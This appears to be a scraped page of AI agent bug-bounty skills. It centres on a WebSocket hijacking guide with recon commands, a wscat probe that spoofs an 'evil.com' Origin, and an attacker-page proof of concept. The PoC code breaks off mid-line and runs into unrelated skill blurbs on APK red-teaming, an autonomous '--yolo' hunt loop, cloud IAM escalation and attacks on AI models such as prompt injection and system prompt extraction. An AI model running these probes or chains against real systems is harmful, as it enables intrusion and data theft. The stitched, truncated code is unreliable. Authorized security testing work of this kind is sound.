hunt-websocket
**hunt-websocket** identifies and exploits security flaws in WebSocket implementations, including Cross-Site WebSocket Hijacking (CSWSH) where cookie-authenticated connections lack Origin validation, missing per-message authorization allowing privileged commands over authenticated but unvalidated frames, message tampering in real-time financial or game transactions, and socket.io namespace/room authorization bypasses. Apply this skill to applications exposing WebSocket endpoints (ws://, wss://), Socket.IO, SignalR, or Phoenix Channels, particularly those handling real-time chat, live dashboards, notifications, or trading.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-websocket && cp -r /tmp/hunt-websocket/skills/hunt-websocket ~/.claude/skills/hunt-websocketSKILL.md
# HUNT-WEBSOCKET — WebSocket Security
## Crown Jewel Targets
CSWSH (Cross-Site WebSocket Hijacking) with a cookie-authenticated handshake and no CSRF/per-connection token = High–Critical (real-time exfil of any logged-in victim's data).
**Highest-value chains:**
- **CSWSH → data exfil / ATO** — handshake authenticates via ambient cookie, no CSRF token, Origin not enforced → attacker page opens WS as the victim and streams their messages/PII/tokens. If the stream carries a session/refresh/CSRF token, this escalates to ATO.
- **No per-message auth** — HTTP/handshake auth present but individual WS frames are not re-authorized → privileged messages accepted (`deleteUser`, `getSecretConfig`).
- **Message tampering** — modify in-flight frames (price, qty, userId, amount) in trading/game/checkout apps → financial fraud.
- **socket.io namespace / room authz bypass** — connect to a privileged namespace or join another user's room without a permission check → cross-tenant real-time exfil.
- **Handshake-layer Upgrade smuggling** — a malformed `Upgrade`/`Connection`/`Sec-WebSocket-*` handshake makes the front proxy and origin disagree on whether an upgrade occurred → request-smuggling tunnel.
---
## Grounding — Reference Cases (read before hunting)
These are public, verifiable references. Use them to calibrate what a *real* WS finding looks like and how it was proven. Do not invent additional report IDs or payouts.
| # | Source / ID | Class | Lesson |
|---|-------------|-------|--------|
| 1 | PortSwigger Web Security Academy — "Cross-site WebSocket hijacking" (research + labs) | CSWSH | Canonical CSWSH model: cookie-auth handshake + no CSRF token + missing Origin check → attacker reads/sends as victim. The authoritative methodology. |
| 2 | Christian Schneider — "Cross-Site WebSocket Hijacking (CSWSH)" (original disclosure/write-up, 2013) | CSWSH | First public CSWSH technique: cookie-auth handshake + no Origin enforcement; PoC must prove victim-data receipt in the attacker browser, not just a 101. |
| 3 | Coda CSWSH (referenced in this repo's hunt-csrf set) | CSWSH | Real-time collab apps commonly authenticate the socket purely via cookie; Origin allow-listing was the missing control. |
| 4 | CVE-2020-7662 — `websocket-extensions` (Node) ReDoS | DoS | A crafted `Sec-WebSocket-Extensions` header triggers catastrophic backtracking — handshake header is an attack surface, not just frames. |
| 5 | CVE-2024-37890 — `ws` (Node) DoS | DoS | Many handshake request headers exhaust the server; confirms the handshake itself is parser-attackable pre-frames. |
| 6 | Outdated `socket.io` / Engine.IO stacks | socket.io | Motivates the version-fingerprint step in Phase 7 — fingerprint the version, then check that release's known advisories. |
> Only the four CVEs above are asserted with exact IDs because they are verifiable. For any case where you are not certain of the exact identifier, describe the technique with **no** citation — a wrong CVE is worse than none.
---
## Phase 1 — Discover WebSocket Endpoints
```bash
# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
recon/$TARGET/ --include="*.js" 2>/dev/null | \
grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u
# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
recon/$TARGET/urls.txt | sort -u
# Probe handshake (101 = upgrade supported)
curl -sI -o /dev/null -w "%{http_code}\n" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
"https://$TARGET/ws"
# socket.io polling handshake leaks version + sid
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open
```
In Burp Pro, use `get_proxy_websocket_history` (and the WebSockets tab) after browsing the app to enumerate live sockets, message schemas, and which frames carry auth-sensitive data.
---
## Phase 2 — CSWSH (Cross-Site WebSocket Hijacking)
CSWSH requires THREE conditions together: (a) the handshake authenticates via an **ambient credential** (cookie sent automatically), (b) there is **no unpredictable per-connection token** in the handshake (no CSRF token / no token in URL/body), and (c) the server **does not enforce Origin**. Missing any one breaks the attack.
```bash
# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
# Look for: Cookie: session=... AND the ABSENCE of any per-request token
# (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
# If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.
# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
--header "Origin: https://evil.com" \
--header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.
```
```html
<!-- Step 3 — Real PoC: host on attacker origin, open while a SEPARATE victim
account is logged into TARGET in the same browser. The bug is only
confirmed if attacker JS RECEIVES the victim's data (or successfully
sends a privileged frame). Cross-origin JS cannot set Origin/Cookie —
the browser does, which is exactly the threat model. -->
<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2); // unique per run
var ws = new WebSocket("wss://TARGET/ws"); // attacker cannot forge Origin
ws.End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.